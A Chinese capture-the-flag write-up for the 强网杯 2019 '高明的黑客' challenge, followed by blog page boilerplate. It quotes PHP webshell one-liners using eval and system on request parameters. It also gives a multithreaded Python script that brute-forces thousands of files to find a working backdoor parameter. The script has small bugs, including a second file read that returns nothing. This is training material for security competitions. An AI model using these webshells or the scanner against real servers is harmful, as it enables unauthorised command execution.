[强网杯 2019]高明的黑客 wp

打开靶场

看到可以在www.tar.gz下载源码,下载下来之后我们可以看到有很多个php文件。

我们任意打开一个,发现有shell,但是又不成立,又利用不了,比如 

$_GET['ganVMUq3d'] = ' ';
eval($_GET['ganVMUq3d'] ?? ' ');

eval($_GET['ganVMUq3d'] ?? ' ');

分析一下 $_GET['ganVMUq3d'] = ' ';令通过get方式传递的变量 ”ganVMUq3d“为空,所以eval($_GET['ganVMUq3d'] ?? ' ');这个一句话木马的参数为空所以这个木马也就不成立了,利用不了。

 if('bTmrt5bHT' == 'r1a0Obii_')

system($_POST['bTmrt5bHT'] ?? ' ');

这里if('bTmrt5bHT' == 'r1a0Obii_')是说如果'bTmrt5bHT' == 'r1a0Obii_'就可以利用post传参去执行system命令,但是'bTmrt5bHT' == 'r1a0Obii_'这个显然是不可以相等的。

在文件中我们还可以找到很多shell,但是都不可以利用,这就是用来混淆我们的,我们需要在3000多个文件中找到可以利用的shell,其实这题主要考察的是写脚本的能力。我们写的思路是首先需要设置多线程,然后打开一个文件,把这个文件中的所有get和post提取出来,然后一次性去访问一个文件里的post和get,看是否有可以利用的参数,如果有就把文件名和参数输出出来,如果没有就断开连接然后去进行下一个文件。这里还有一个重点是要将get和post的访问方式分开用不同的方式进行请求。

下面我们在本地的phpstuy上用php版本为php7进行测试

import os
import requests
import re
import threading
import time

print('开始时间:'+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)            #这里设置的最大的线程数
filePath = r"F:/phpstudy_pro/www/src"
os.chdir(filePath)                        #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5     #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)              #os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
session = requests.Session()
session.keep_alive = False		           # 设置连接活跃状态为False
def get_content(file):                    #
    s1.acquire()
    print('trying   '+file+'    '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:           #打开php文件并提取所有的$_get和$_post的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]',f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]',f.read()))
    data = {}														#所有的$_POST
    params = {}		                                                #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()
    req.endcoding ='utf-8'
    content = req.text
    #print(content)
    if "xxxxx" in content:       #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()
            if "xxxxxx" in content:
                flag=1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content =req.text
                req.close()
                if "xxxxxx" in content:
                    break
        if flag == 1:
            param = a
        else:
            param = b
        print('找到了利用文件: ' + file + "  and 找到了利用的参数:%s" % param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:  # 加入多线程
        t = threading.Thread(target=get_content, args=(i,))
        t.start()

最终发现在了可以利用的文件以及参数。

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值